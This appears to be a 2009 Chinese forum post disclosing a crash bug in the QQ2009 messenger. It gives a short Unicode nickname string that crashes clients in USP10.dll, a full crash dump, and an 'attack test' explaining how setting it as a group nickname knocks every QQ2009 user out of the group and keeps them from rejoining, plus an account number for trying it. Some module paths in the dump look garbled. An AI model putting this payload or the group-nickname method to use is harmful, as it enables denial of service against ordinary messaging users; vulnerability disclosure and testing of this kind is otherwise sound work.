QQ2009 溢出漏洞 简单测试

zou1994522

测试时间:2009年8月2日

测试环境:Microsoft Windows XP professional Service Pack 3

测试对象Q2009 正式版 SP3(测试版) (1018)
(目前最新版本)

测试QQ:214123212

溢出代码不含"="号,中间汉字可任意替换)
========================
ﻬ墨♬
========================

漏洞范围Q2009 所有版本

代码最简易测试:请您加QQ1246270967为好友试试

简易测试:

我们将QQ214123212账号的昵称设置为:ﻬ墨♬

QQd39112.txt文件内容如下:
========================================================================
Microsoft Windows XP Service Pack 3 [Build 5.1.2600]
QQ2009 24.49.1018 495FF2A593C38ABB1A0CDFB94F147C02
----------------------------------------
Type: EXCEPTION_ACCESS_VIOLATION
Address: 73FB6687
Error: Write address 0x06691000

CallStack:
0x73FA0000[16687] USP10.dll: (33625220,2036,107462908,65535)
0x73FA0000[34A1A] USP10.dll: (33625220,1242004,107462908,65535)
0x30800000[24E6E] GF.dll: (0,33625220,2351464,3)
0x30800000[24FF0] GF.dll: (33625220,-1055504287,107463032,105468896)
0x30800000[25CD9] GF.dll: (107463032,33625220,2080,0)
0x30800000[2647D] GF.dll: (107463032,33625220,1242492,2080)
0x30800000[26580] GF.dll: (107463032,33625220,1242492,2080)
0x30800000[267B0] GF.dll: (33625220,105468868,807322328,4)
0x30800000[129C3] GF.dll: (1242448,3,2,198)
0x30800000[10705] GF.dll: (33625220,3,2,198)
0x30800000[1BC32] GF.dll: (105468784,107462936,3,2)
0x30800000[6DB3F] GF.dll: (46467456,1243012,1243712,1243396)
0x30800000[6E4A4] GF.dll: (46467456,1243012,1243712,1243396)
0x30800000[6EEF5] GF.dll: (46468012,46467456,1243012,1243712)
0x30800000[3DE7C] GF.dll: (46467456,46467456,1243012,1243712)
0x30800000[38731] GF.dll: (46467456,1243012,1243712,1243396)
0x30800000[155D00] GF.dll: (46467456,1243012,1243712,1243396)
0x30800000[1596C1] GF.dll: (0,33625220,107462936,139)
0x30800000[15A2E6] GF.dll: (105556816,107472088,1243584,1243712)
0x30800000[15AC72] GF.dll: (105859216,1243584,1243712,1243624)
0x30800000[15B110] GF.dll: (105556816,0,1243584,1243712)
0x30800000[160D84] GF.dll: (3343548,1243712,0,0)
0x30800000[15E2C4] GF.dll: (15,0,0,1243712)
0x30800000[1618AF] GF.dll: (3343548,15,0,0)
0x30800000[C8A4D] GF.dll: (105476312,15,0,0)
0x77D10000[8734] USER32.dll: (2248424,3343548,15,0)
0x77D10000[8816] USER32.dll: (0,2248424,3343548,15)
0x77D10000[18EA0] USER32.dll: (6635920,15,0,0)
0x77D10000[18EEC] USER32.dll: (1244052,24,6635920,15)
0x7C920000[E473] ntdll.dll: (1244184,0,1244212,4205174)
0x77D10000[8A10] USER32.dll: (1244184,2010223628,13331456,4213015)
0x00400000[2A76] QQ.exe: (-1055499544,2,1,0)
0x00400000[3167] QQ.exe: (4266104,0,4241716,484)
0x00400000[244B] QQ.exe: (4194304,0,132608,1)
0x00400000[7AB4] QQ.exe: (594808,2090008669,2147340288,-1073741819)
0X7C800000[17077] kernel32.dll: (2147340288,-1073741819,1245128,1240808)

Regs:
EAX=00000005, EBX=023872A0, ECX=0667C0B8, EDX=00000001
ESI=00000005, EDI=000053D2, EBP=0012F2D4, ESP=0012F2C4, EIP=73FB6687
Bytes at CS:EIP:
89 04 B9 47 3B 7D 14 7C CF 3B 7D 14 7D 5B 0F B7 C6 3B 45 0C 7E 23 8B 45 FC 66 3B B0 D2 00 00 00
pid=49244 init_tid=49256 crashtid=49256
Modules:
[00400000,023000] D:腾迅软件QQ2009BinQQ.exe [1.31.1025.0,2009-07-23 03:22:09 GMT]
[7C920000,096000] C:WINDOWSsystem32ntdll.dll [5.1.2600.5755,2009-02-09 10:54:47 GMT]
[7C800000,11E000] C:WINDOWSsystem32kernel32.dll [5.1.2600.5781,2009-03-21 14:06:57 GMT]
[5D170000,09A000] C:WINDOWSsystem32COMCTL32.dll [5.82.2900.5512,2008-04-14 02:12:49 GMT]
[77DA0000,0A9000] C:WINDOWSsystem32ADVAPI32.dll [5.1.2600.5755,2009-02-09 10:54:48 GMT]
[77E50000,092000] C:WINDOWSsystem32RPCRT4.dll [5.1.2600.5795,2009-04-15 14:52:03 GMT]
[77FC0000,011000] C:WINDOWSsystem32Secur32.dll [5.1.2600.5512,2008-04-14 02:13:21 GMT]
[77EF0000,049000] C:WINDOWSsystem32什么东西--垃圾32.dll [5.1.2600.5698,2008-10-23 12:38:08 GMT]
[77D10000,090000] C:WINDOWSsystem32USER32.dll [5.1.2600.5512,2008-04-14 02:13:17 GMT]
[30000000,20A000] D:腾迅软件QQ2009BinCommon.dll [1.31.1025.0,2009-07-22 03:05:38 GMT]
[71A20000,017000] C:WINDOWSsystem32WS2_32.dll [5.1.2600.5512,2008-04-14 02:14:32 GMT]
[77BE0000,058000] C:WINDOWSsystem32msvcrt.dll [7.0.2600.5512,2008-04-14 02:15:27 GMT]
[71A10000,008000] C:WINDOWSsystem32WS2HELP.dll [5.1.2600.5512,2008-04-14 02:14:33 GMT]
[76680000,0A6000] C:WINDOWSsystem32WININET.dll [6.0.2900.5835,2009-06-26 16:49:35 GMT]
[765E0000,093000] C:WINDOWSsystem32CRYPT32.dll [5.131.2600.5512,2008-04-14 02:13:04 GMT]
[76DB0000,012000] C:WINDOWSsystem32MSASN1.dll [5.1.2600.5512,2008-04-14 02:13:49 GMT]
[770F0000,08B000] C:WINDOWSsystem32OLEAUT32.dll [5.1.2600.5512,2008-04-14 02:13:17 GMT]
[76990000,13D000] C:WINDOWSsystem32ole32.dll [5.1.2600.5512,2008-04-14 02:13:16 GMT]
[77F40000,076000] C:WINDOWSsystem32SHLWAPI.dll [6.0.2900.5512,2008-04-14 02:13:15 GMT]
[76060000,156000] C:WINDOWSsystem32SETUPAPI.dll [5.1.2600.5512,2008-04-14 02:13:04 GMT]
[77BD0000,008000] C:WINDOWSsystem32VERSION.dll [5.1.2600.5512,2008-04-14 02:13:19 GMT]
[76BC0000,00B000] C:WINDOWSsystem32PSAPI.DLL [5.1.2600.5512,2008-04-14 02:12:59 GMT]
[76D30000,018000] C:WINDOWSsystem32iphlpapi.dll [5.1.2600.5512,2008-04-14 02:12:27 GMT]
[68D60000,0A1000] C:WINDOWSsystem32dbghelp.dll [5.1.2600.5512,2008-04-14 02:12:18 GMT]
[76320000,047000] C:WINDOWSsystem32comdlg32.dll [6.0.2900.5512,2008-04-14 02:12:50 GMT]
[7D590000,7F4000] C:WINDOWSsystem32SHELL32.dll [6.0.2900.5686,2008-09-30 06:20:04 GMT]
[7C630000,01B000] C:WINDOWSWinSxSx86_Microsoft.VC80.ATL_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_cbb27474ATL80.DLL [8.0.50727.762,2006-12-02 06:55:18 GMT]
[7C420000,087000] C:WINDOWSWinSxSx86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700MSVCP80.dll [8.0.50727.762,2006-12-02 06:52:56 GMT]
[78130000,09B000] C:WINDOWSWinSxSx86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700MSVCR80.dll [8.0.50727.762,2006-12-02 06:50:32 GMT]
[76C00000,02E000] C:WINDOWSsystem32WINTRUST.dll [5.131.2600.5512,2008-04-14 02:13:34 GMT]
[76C60000,028000] C:WINDOWSsystem32IMAGEHLP.dll [5.1.2600.5512,2008-04-14 02:12:42 GMT]
[5FDD0000,055000] C:WINDOWSsystem32NETAPI32.dll [5.1.2600.5694,2008-10-15 16:35:19 GMT]
[31800000,08B000] D:腾迅软件QQ2009BinKernelUtil.dll [1.31.1025.0,2009-07-22 03:07:14 GMT]
[30800000,294000] D:腾迅软件QQ2009BinGF.dll [1.31.1025.0,2009-07-22 03:14:32 GMT]
[76300000,01D000] C:WINDOWSsystem32IMM32.dll [5.1.2600.5512,2008-04-14 02:13:07 GMT]
[4AE90000,1A6000] C:WINDOWSWinSxSx86_Microsoft.Windows.什么东西--垃圾Plus_6595b64144ccf1df_1.0.2600.5581_x-ww_dfbc4fc4什么东西--垃圾plus.dll [5.1.3102.5581,2008-04-15 17:47:47 GMT]
[762F0000,005000] C:WINDOWSsystem32MSIMG32.dll [5.1.2600.5512,2008-04-14 02:14:46 GMT]
[73FA0000,06B000] C:WINDOWSsystem32USP10.dll [1.420.2600.5512,2008-04-14 02:13:19 GMT]
[75C60000,0A0000] C:WINDOWSsystem32urlmon.dll [6.0.2900.5835,2009-06-26 16:49:35 GMT]
[61210000,1D2000] D:腾迅软件QQ2009BinAppUtil.dll [1.31.1025.0,2009-07-23 02:20:30 GMT]
[76B10000,02A000] C:WINDOWSsystem32WINMM.dll [5.1.2600.5512,2008-04-14 02:13:53 GMT]
[62C20000,009000] C:WINDOWSsystem32LPK.DLL [5.1.2600.5512,2008-04-14 02:12:47 GMT]
[77180000,103000] C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83comctl32.dll [6.0.2900.5512,2008-04-14 02:11:56 GMT]
[5AD70000,038000] C:WINDOWSsystem32uxtheme.dll [6.0.2900.5512,2008-04-14 00:11:10 GMT]
[10000000,02F000] Crogram Files360360Safesafemonsafemon.dll [5.0.0.1021,2009-07-29 04:21:26 GMT]
[74680000,04C000] C:WINDOWSsystem32MSCTF.dll [5.1.2600.5512,2008-04-14 02:13:55 GMT]
[76FA0000,07F000] C:WINDOWSsystem32CLBCATQ.DLL [2001.12.4414.700,2008-04-14 02:12:34 GMT]
[77020000,09A000] C:WINDOWSsystem32COMRes.dll [2001.12.4414.700,2008-04-14 02:12:55 GMT]
[5DD50000,114000] C:WINDOWSsystem32msxml3.dll [8.100.1048.0,2008-09-04 17:15:01 GMT]
[61C00000,1FA000] D:腾迅软件QQ2009BinMainFrame.dll [1.31.1025.0,2009-07-23 02:33:13 GMT]
[73640000,02E000] C:WINDOWSsystem32msctfime.ime [5.1.2600.5768,2009-02-27 04:56:13 GMT]
[74CF0000,091000] C:WINDOWSsystem32mlang.dll [6.0.2900.5512,2008-04-14 02:12:56 GMT]
[60B30000,061000] D:腾迅软件QQ2009BinMSVCP60.dll [6.0.8168.0,2006-01-10 11:15:44 GMT]
[68000000,036000] C:WINDOWSsystem32rsaenh.dll [5.1.2600.5507,2008-03-18 14:39:32 GMT]
[02510000,549000] C:WINDOWSsystem32xpsp2res.dll [5.1.2600.5512,2008-04-13 17:39:24 GMT]
[31000000,326000] D:腾迅软件QQ2009BinIM.dll [1.31.1025.0,2009-07-22 03:19:43 GMT]
[73D30000,0FE000] C:WINDOWSsystem32MFC42.DLL [6.2.4131.0,2008-04-14 02:12:46 GMT]
[61BE0000,00D000] C:WINDOWSsystem32MFC42LOC.DLL [6.0.8665.0,2001-08-31 23:01:06 GMT]
[61FE0000,040000] D:腾迅软件QQ2009BinTaskTray.dll [1.31.1025.0,2009-07-23 02:35:04 GMT]
[32000000,00A000] D:腾迅软件QQ2009BinTXPFProxy.dll [1.31.1025.0,2009-07-22 03:06:41 GMT]


========================================================================

攻击测试:
将QQ214123212的QQ群(非管理)昵称改为:ﻬ墨♬

QQ群内的所有QQ2009用户都将自动关闭,都将弹出"错误报告"窗口

若QQ214123212不改掉QQ昵称的话,所有QQ群内用户都将无法登陆此QQ群.

测试结束:
(总结:略)
(声明:任何人不得利用此漏洞进行任何违法行为,后果自负!)